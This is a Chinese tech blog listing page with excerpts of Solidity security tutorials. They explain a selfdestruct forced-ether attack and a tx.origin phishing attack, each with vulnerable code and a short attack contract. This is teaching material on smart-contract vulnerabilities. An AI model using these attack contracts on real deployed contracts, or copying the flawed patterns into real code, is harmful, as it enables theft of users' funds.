首页
状态
Search
1
Zookeeper 3.8.0 安装配置
244 阅读
2
zerotier-cli 常用命令
147 阅读
3
2023 年电商数据可视化训练
117 阅读
4
算术溢出 Arithmetic Overflow and Underflow
89 阅读
5
Linux centos 7 磁盘扩容步骤
76 阅读
全部文章
大数据
区块链
登录
Search
标签搜索
比赛
大数据
区块链
区块链安全
漏洞修复
笔记
Spark
Spark on Yarn
Hive
HBase
网站合集
区块链开发
fisco bcos
JAVA SDK
IDEA
Hadoop 2.7.7
Hadoop HA
高可用
Linux
扩容
残月
累计撰写
26
篇文章
累计收到
33
条评论
首页
栏目
全部文章
大数据
区块链
页面
状态
搜索到
26
篇与
残月
的结果
2023-12-09
自毁函数 Self Destruct
自毁函数 由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”从而影响目标合约的正常功能(比如开发者使用 address(this).balance 来取合约中的代币余额就可能会被攻击)。漏洞代码// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract EtherGame { uint public targetAmount = 7 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } } 问题分析 这里问题在于使用 address(this).balance ,作为取合约中的代币余额。如果合约中的代币余额大于 balance <= targetAmount 那这个游戏将永远没有赢家,这个余额也无法取出。原因是 solidity 中有很多可以转账的操作例如: transfer :转账出错会抛出异常后面代码不执行; send :转账出错不会抛出异常只返回 true/false 后面代码继续执行; call.value().gas()() :转账出错不会抛出异常只返回 true/false 后面代码继续执行,且使用 call 函数进行转账容易发生重入攻击 selfdestruct :自毁函数不需要接受就能给合约强制转账的函数。 向这里可以使用 selfdestruct 强制向合约转账。攻击合约contract Attack { EtherGame etherGame; constructor(EtherGame _etherGame) { etherGame = EtherGame(_etherGame); } function attack() public payable { address payable addr = payable(address(etherGame)); selfdestruct(addr); } } 基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的EtherGame合约地址,在attack方法中将etherGame的合约地址作为转账地址,并将地址放入到selfdestruct中。当通过Attackselfdestruct向etherGame合约强行转一定额度账使其大于或者等于7 ether,下次用户执行时将不会触发winner = msg.sender;这个语法。攻击复现执行步骤隐藏内容,请前往内页查看详情
2023年12月09日
47 阅读
0 评论
0 点赞
2023-12-08
钓鱼攻击 tx.origin
tx.origin是 Solidity中的一个全局变量,它返回发送交易的帐户的地址。如果授权帐户调用恶意合约,则使用该变量进行授权可能会使合约容易受到攻击。可以调用通过授权检查的易受攻击的合约,因为tx.origin返回交易的原始发送者,在本例中是授权帐户。漏洞代码// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; contract Wallet { address public owner; constructor() payable { owner = msg.sender; } function transfer(address payable _to, uint _amount) public { require(tx.origin == owner, "Not owner"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } }问题分析 合约部署时将部署用户作为当前合约的owner,并定义了transfer方法,此方法需要传入一个转账用户地址 _to和转账数量 _amount。在第一行通过 require 并使用tx.origin和owner判断是否为部署用户,不是将抛出 "Not owner",第12行 向_to 地址 转账 _amount 数量的虚拟币(call 为底层方法),并判断是否转账成功,失败将抛出 "Failed to send Ether"。这题主要问题在于在使用tx.origin作为转账前的检查是不对的,合约本意为检验是否为当前钱包合约的部署用户,但tx.origin会返回最先发送交易的帐户的地址,而不是上一层调用合约的地址。 例如: 第一步 用户-A :部署了 Wallet 合约; 攻击者-B:部署了 钓鱼的恶意合约; 第二步 用户-A :调用了 攻击者-B 恶意合约 第二步 分析 这个时候如果恶意合约调用了 用户-A 部署的 Wallet合约,此时合约中的tx.origin获取的地址为用户-A的地址,并向_to地址转账,并不会触发require的判断,此时攻击者-B只需要将_to 在攻击合约中定义为个人账户地址,此时用户-A的用户余额已被转走。攻击代码contract Attack { address payable public owner; Wallet wallet; constructor(Wallet _wallet) { wallet = Wallet(_wallet); owner = payable(msg.sender); } function attack() public { wallet.transfer(owner, address(wallet).balance); } } 基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的Wallet合约地址,并将个人地址保存在owner中,在 用户-A调用 Attack.attack()方法时,攻击合约将会调用Wallet合约的transfer方法,传入攻击者的地址owner和Wallet合约账户的所剩余额。攻击复现执行步骤隐藏内容,请前往内页查看详情
2023年12月08日
47 阅读
1 评论
0 点赞
2023-12-08
区块链安全漏洞常见案例
区块链安全漏洞常见案例网站集合
2023年12月08日
55 阅读
0 评论
0 点赞
2022-12-30
Hive 2.3.4 安装
Hive 2.3.4 比赛环境搭建
2022年12月30日
47 阅读
0 评论
0 点赞
2022-12-28
Hadoop 2.7.7 HA 高可用搭建
Hadoop 2.7.7 HA 高可用比赛环境搭建
2022年12月28日
63 阅读
0 评论
0 点赞
1
...
4
5
6